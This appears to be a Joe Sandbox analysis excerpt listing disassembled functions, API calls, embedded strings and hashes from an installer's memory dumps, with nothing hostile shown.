
Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CreateException@8FileFreeInitializeInstanceModuleNamePathRelativeStringThrowUninitialize
String ID:
API String ID: 2737710906-0
Opcode ID: 8289609fb2acf761aa66a41ba5f3090fed34d0d099388309bb97bbbc419d999c
Instruction ID: ef44fa7edd30709e8fc43c332a1fdc2ed010152be1c1cdb426495acd7bd2f2b4
Opcode Fuzzy Hash: 8289609fb2acf761aa66a41ba5f3090fed34d0d099388309bb97bbbc419d999c
Instruction Fuzzy Hash: 03415BB0A00249EFDF10DFA8C9889ED7BB5FF45308F248869E555DB641C735EA45CB60

Function 6C909BB9 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C909BC3

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

GetCommandLineW.KERNEL32(?,?,6C8BA794,?,?,00000164,6C8E4730,02F92298,6C8BA794,?,?,?,6C90B57F,?,00000000,?), ref: 6C909BEF

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

SysFreeString.OLEAUT32(?), ref: 6C909C42
SysFreeString.OLEAUT32(6C8FFA6E), ref: 6C909CCC
SysFreeString.OLEAUT32(?), ref: 6C909CF3

Part of subcall function 6C8E473C: __EH_prolog3_catch.LIBCMT ref: 6C8E4746
Part of subcall function 6C8E473C: CoInitialize.OLE32(00000000), ref: 6C8E47F7
Part of subcall function 6C8E473C: CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,?,?,?,6C8C3864,?,00000000,00000000,6C8FFA6E,00000738,IronMan::EngineData::CreateEngineData), ref: 6C8E4815

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$FreeString$CommandCreateException@8FileH_prolog3_catchInitializeInstanceLineModuleNamePathRelativeThrow
String ID:
API String ID: 3727545618-0
Opcode ID: 2ef36bbc948aa3bb1d89d83464084291dfbe04f8a60c932965f7a9c18d57a9ac
Instruction ID: 5b8a36d377b21508df4336278e25e4807da7fa7ae2780bbc7b7b25aaebad760a
Opcode Fuzzy Hash: 2ef36bbc948aa3bb1d89d83464084291dfbe04f8a60c932965f7a9c18d57a9ac
Instruction Fuzzy Hash: 9A41677280020DEFCF11DFE8CD44AEEBBB8AF15318F008569E514A7640CB34DA18CBA1

Function 63965EC4 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 63965F27
GetWindowLongW.USER32(?,000000FC), ref: 63965F3E
CallWindowProcW.USER32(?,?,00000082,?,?), ref: 63965F50
GetWindowLongW.USER32(?,000000FC), ref: 63965F6A
SetWindowLongW.USER32(?,000000FC,?), ref: 63965F79

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Long$CallProc
String ID:
API String ID: 513923721-0
Opcode ID: 91196c62b1f9f0128af2d691eb506a7eebb86f693cad7fe93047673f222fa7dd
Instruction ID: 7b49f5962fbc1817e87528423503e94c540fda688c7609600b1dbee9bfa92b58
Opcode Fuzzy Hash: 91196c62b1f9f0128af2d691eb506a7eebb86f693cad7fe93047673f222fa7dd
Instruction Fuzzy Hash: 37314931504608EFDF21DF65C88499ABBF9FF49720B108A19F8AAD7261D730E950DF90

Function 63956655 Relevance: 7.6, APIs: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6395665C

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395F35E: __EH_prolog3.LIBCMT ref: 6395F365
Part of subcall function 6395F35E: __recalloc.LIBCMT ref: 6395F3A7

_memset.LIBCMT ref: 639566C3
GetClientRect.USER32 ref: 639566E6
SendMessageW.USER32(00000001,00000432,00000000,?), ref: 639566FC

Part of subcall function 639681DE: _memcpy_s.LIBCMT ref: 63968224

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,00000040,6395730F,?,?,?,?,?,?,?,?,?), ref: 63956713

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$ClientExceptionH_prolog3_MessageRaiseRectSend__recalloc_memcpy_s_memset
String ID:
API String ID: 4097222183-0
Opcode ID: 3f7c6f9f25123f1ed515a8890b373315e5c724453bb45f051ceb3f4128b22f30
Instruction ID: 5166f560623152f714e6b417adcd1b391c09f64f3b1b61e366f38ab4219758f6
Opcode Fuzzy Hash: 3f7c6f9f25123f1ed515a8890b373315e5c724453bb45f051ceb3f4128b22f30
Instruction Fuzzy Hash: A3214C71901208EFDB24DF98C988D9EBBF8FF55B28F144019F515AB290D730AA56CF50

Function 6C920F64 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C920F72

Part of subcall function 6C91BFB3: __FF_MSGBANNER.LIBCMT ref: 6C91BFCC
Part of subcall function 6C91BFB3: __NMSG_WRITE.LIBCMT ref: 6C91BFD3
Part of subcall function 6C91BFB3: RtlAllocateHeap.NTDLL(00000000,00000001,?,6C8F831D,00000000,?,6C91C0C9,6C8FF845,00000C00,00000020,6C8FF845,?), ref: 6C91BFF8

_free.LIBCMT ref: 6C920F85

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 4dec31f42bed2a060b2aee832c4af097b5f58c2f86ca7d40733a2f4e19ffb3d2
Instruction ID: 22836ce33209426e16f0646d671f73912d20c0e12f5bcb3b1be984e812ccbb31
Opcode Fuzzy Hash: 4dec31f42bed2a060b2aee832c4af097b5f58c2f86ca7d40733a2f4e19ffb3d2
Instruction Fuzzy Hash: 0B115E325AC289EFCB311B75AA156CD3B799F613A4B214035F884DAF44DF38C85487D0

Function 6C8E5238 Relevance: 7.5, APIs: 5, Instructions: 49processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000), ref: 6C8E5254
_memset.LIBCMT ref: 6C8E526E
Process32FirstW.KERNEL32(00000000,?), ref: 6C8E5288
Process32NextW.KERNEL32(00000000,0000022C), ref: 6C8E52A3
CloseHandle.KERNEL32(00000000), ref: 6C8E52B7

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 75c19397952258b606e67004829cf0ab52ea8212b3f070aef35071b54ec2ece5
Instruction ID: 47a5022e820b2b1309f2abc7a4945016bb44d9d1171eebb96877c273249ae8b2
Opcode Fuzzy Hash: 75c19397952258b606e67004829cf0ab52ea8212b3f070aef35071b54ec2ece5
Instruction Fuzzy Hash: 91018031A01128ABCB20DAA5994DEEE77B8EB8B318F500569E914D3680DB34DA45CAA1

Function 6394F24C Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 6394F257
SetWindowTextW.USER32(00000000,?), ref: 6394F286
ShowWindow.USER32(00000000,00000005), ref: 6394F28F
ShowWindow.USER32(00000000,00000000), ref: 6394F2A5
KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 6394F2AE

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Show$CallbackDispatcherItemTextUser
String ID:
API String ID: 3009180066-0
Opcode ID: 2d5c9a860a2dcc3fdf648386ea9990343141e33cea793eef2b883599f0cd42c4
Instruction ID: b35f8e0bd72d3cc539356819bce3999a657e6e48b3e3423c5b453cbce0a20140
Opcode Fuzzy Hash: 2d5c9a860a2dcc3fdf648386ea9990343141e33cea793eef2b883599f0cd42c4
Instruction Fuzzy Hash: C1012438344201AFCB10AF68C88CF19BBE9EF4EB46F104444F6428B2A2DB35D821CF94

Function 6C8D2E48 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 253COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D2E4F

Part of subcall function 6C8F9653: _free.LIBCMT ref: 6C8F9698

Strings

evaluated to true, xrefs: 6C8D2F64, 6C8D308D
BlockIf, xrefs: 6C8D2ED5, 6C8D303A
evaluated to false, xrefs: 6C8D2EBC, 6C8D301B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_free
String ID: evaluated to false$ evaluated to true$BlockIf
API String ID: 2248394366-2909538125
Opcode ID: 1fd387a319fb295dde1a7a8b70b238757b2cc130a259ef590b93bd00c11d922c
Instruction ID: 56a000c57443d158dc5047e67bb934235a8793124f57f3887f9817e0396f48dc
Opcode Fuzzy Hash: 1fd387a319fb295dde1a7a8b70b238757b2cc130a259ef590b93bd00c11d922c
Instruction Fuzzy Hash: 98A15B71900209DFCF20CFA8CA84ADEBBB5BF19318F154999E415AB751D731ED0ACB61

Function 6C8F4513 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6C8F45A2

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C8329: __EH_prolog3.LIBCMT ref: 6C8C8330

Part of subcall function 6C8C8129: SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,6C8CAA3A,?,00000000,00000000,00000002,?,80000000,00000001,00000003), ref: 6C8C8149

Strings

.htm, xrefs: 6C8F4763
Cannot create file or delete file in Temp directory , xrefs: 6C8F45C5
Cannot get valid temp folder, xrefs: 6C8F456D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8FilePointerThrow
String ID: .htm$Cannot create file or delete file in Temp directory $Cannot get valid temp folder
API String ID: 1975055723-2150540039
Opcode ID: 5fa5a53bac8a2858db7dd9db270bed228df1dcaf342e745101c7bc4165584a1e
Instruction ID: a6d9dba7854728925ea8b0e824091c7f8b0abd70e9ddf0623312d6af44b52cd1
Opcode Fuzzy Hash: 5fa5a53bac8a2858db7dd9db270bed228df1dcaf342e745101c7bc4165584a1e
Instruction Fuzzy Hash: C2A17C711083449FD720DFA8CA41B8EBBE8BF95368F004E2EF4A497B90D774D5098B52

Function 6C8E2E7C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E2E83

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8E2DBC: __EH_prolog3.LIBCMT ref: 6C8E2DC3

Part of subcall function 6C8F91D4: __EH_prolog3.LIBCMT ref: 6C8F91DB
Part of subcall function 6C8F91D4: __recalloc.LIBCMT ref: 6C8F921D

Strings

ProcessBlocks, xrefs: 6C8E2EB0
ProcessBlock added, xrefs: 6C8E2F19, 6C8E2FAE
No ProcessBlock element, xrefs: 6C8E3058

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$__recalloc
String ID: No ProcessBlock element$ProcessBlock added$ProcessBlocks
API String ID: 1900422986-3251087430
Opcode ID: 46f1e4835997741ad51a7a3145e114bb785acd98e55a547d3a01d18ffc39b314
Instruction ID: 8f86901ba4069ae8d13bc468a88f997f3c22f4806bd715bff546f5cedbb68486
Opcode Fuzzy Hash: 46f1e4835997741ad51a7a3145e114bb785acd98e55a547d3a01d18ffc39b314
Instruction Fuzzy Hash: 86716170A0024ADFCF10CFA8CA84AADBBB5BF49308F144869E515EB791C7359E45CB61

Function 6C8E31C4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E31CB

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8E3104: __EH_prolog3.LIBCMT ref: 6C8E310B

Part of subcall function 6C8F91D4: __EH_prolog3.LIBCMT ref: 6C8F91DB
Part of subcall function 6C8F91D4: __recalloc.LIBCMT ref: 6C8F921D

Strings

No ServiceBlock element, xrefs: 6C8E33A0
ServiceBlocks, xrefs: 6C8E31F8
ServiceBlock added, xrefs: 6C8E3261, 6C8E32F6

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$__recalloc
String ID: No ServiceBlock element$ServiceBlock added$ServiceBlocks
API String ID: 1900422986-3373415214
Opcode ID: d94714d1a96495a567de6b965e71e706b8b28dced02d7073f77941ce3ae31098
Instruction ID: abcdd21b8194ac06babd0aad6d145bd4f3e0c919e2722b8e149f92dff2582842
Opcode Fuzzy Hash: d94714d1a96495a567de6b965e71e706b8b28dced02d7073f77941ce3ae31098
Instruction Fuzzy Hash: 69714070A00249DFCF10CFA8CA84AAEBBB5BF49308F24496DE515EB791C7359E45CB61

Function 6C8F72E4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8F72EB

Part of subcall function 6C8C43C4: __EH_prolog3.LIBCMT ref: 6C8C43CB

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8ED0: __EH_prolog3.LIBCMT ref: 6C8F8ED7
Part of subcall function 6C8F8ED0: PathFindExtensionW.SHLWAPI(?,00000004,6C8F7362,?,?,?,00000000,?,?), ref: 6C8F8F01

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C8F3B2B: __EH_prolog3.LIBCMT ref: 6C8F3B32
Part of subcall function 6C8F3B2B: InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6C8FEC79,?,?), ref: 6C8F3BC9

Strings

.html, xrefs: 6C8F73F3
.htm, xrefs: 6C8F73E1
.txt, xrefs: 6C8F738D, 6C8F73B3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CriticalExtensionFindH_prolog3_catchInitializePathSection_malloc
String ID: .htm$.html$.txt
API String ID: 2678321574-1806469533
Opcode ID: c2daf6da6cf8b8c278104573bd8b3268a377075d56804da04efbc2fb0e853a05
Instruction ID: 3495629524dc22d415182d864d6b2d4d4a3de3861e604d853f5f8a6f745f5729
Opcode Fuzzy Hash: c2daf6da6cf8b8c278104573bd8b3268a377075d56804da04efbc2fb0e853a05
Instruction Fuzzy Hash: 9851D43090420DDEEF20DBB8CA05BDE7BE5AF25348F104965E460EBB80D774C609DB66

Function 6C8FA622 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8FA629
GetLastError.KERNEL32 ref: 6C8FA726

Strings

DW\DW20.exe, xrefs: 6C8FA69E
Failed to record SetupFlags, xrefs: 6C8FA740

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3Last
String ID: DW\DW20.exe$Failed to record SetupFlags
API String ID: 685212868-3543485478
Opcode ID: 6780a64aa2ead81c2085ee10872f2c246aabbaa58b907b729eb86a9cbd179cfe
Instruction ID: 635f24dcd7d1235f6bd7f76f4aacad12e1cc2c040ee1c6c6b52d46fdb42bba25
Opcode Fuzzy Hash: 6780a64aa2ead81c2085ee10872f2c246aabbaa58b907b729eb86a9cbd179cfe
Instruction Fuzzy Hash: 6341E431900209DFCB10DFB8C945ADEBBB5BF25318F158A65E410EBB81C774DA0AD7A5

Function 6C903439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C903440
PathStripToRootW.SHLWAPI(00000000,C600000B,6C8FFA6E,00000010,?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C9034D8
GetLastError.KERNEL32(?,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C90350D

Strings

Failed to record SystemMemory, xrefs: 6C903527

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3LastPathRootStrip
String ID: Failed to record SystemMemory
API String ID: 1831876552-335854511
Opcode ID: 5ddb44ec142fe5934dbe288ca7d194683411a0f831b9faf469f7e165439a4073
Instruction ID: 07688e7fa373c0a73d2a346b377d8cbc0eb7a406570023f53e39568780420d9a
Opcode Fuzzy Hash: 5ddb44ec142fe5934dbe288ca7d194683411a0f831b9faf469f7e165439a4073
Instruction Fuzzy Hash: 3C31B371A1021A9BCB04DFB4CD499EEBB79BF25318F110658E514E7B90CB34D909DBA0

Function 6C8F7C9E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F7CA5

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C391D: __EH_prolog3.LIBCMT ref: 6C8C3924

Part of subcall function 6C8C395E: __EH_prolog3.LIBCMT ref: 6C8C3965

Strings

Package Version = %s, xrefs: 6C8F7D59
Package details, xrefs: 6C8F7CD4
Package Name = %s, xrefs: 6C8F7D1C

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Package Name = %s$Package Version = %s$Package details
API String ID: 431132790-2412997842
Opcode ID: 2bd87f53008b3e0f93ac5ebce17468dd7124cbb3c212bdf624132e286f25f002
Instruction ID: 6c049c4e29ba3f153cefc59900da6d6b61da95782ec70bfe179cff96c4c8a29c
Opcode Fuzzy Hash: 2bd87f53008b3e0f93ac5ebce17468dd7124cbb3c212bdf624132e286f25f002
Instruction Fuzzy Hash: 0231AE7190414DEFCF10CBA8C945BEDBBB5AF25308F144554E110BBB90C774EA19DBA5

Function 6C8C712B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C7132
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,00000010), ref: 6C8C7191
#195.MSI(00000010,00000000,00000104,00000000,00000000,00000104,00000010,MSI.dll), ref: 6C8C7200

Strings

MSI.dll, xrefs: 6C8C71BA

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: #195FolderH_prolog3Path
String ID: MSI.dll
API String ID: 2462876523-3845536143
Opcode ID: b0511c1c73548a44b223eb3c0e5f4e413607314e0834cd16f438b7871ef7925c
Instruction ID: 8e7bc0b584e9036366507451649eb371e0e527f307e64ef5e237c9b9c63a943c
Opcode Fuzzy Hash: b0511c1c73548a44b223eb3c0e5f4e413607314e0834cd16f438b7871ef7925c
Instruction Fuzzy Hash: DA31AF70A10209DFDF04DFA8C889AFEBBB5BF24318F154559E410ABB80C774DA09DBA4

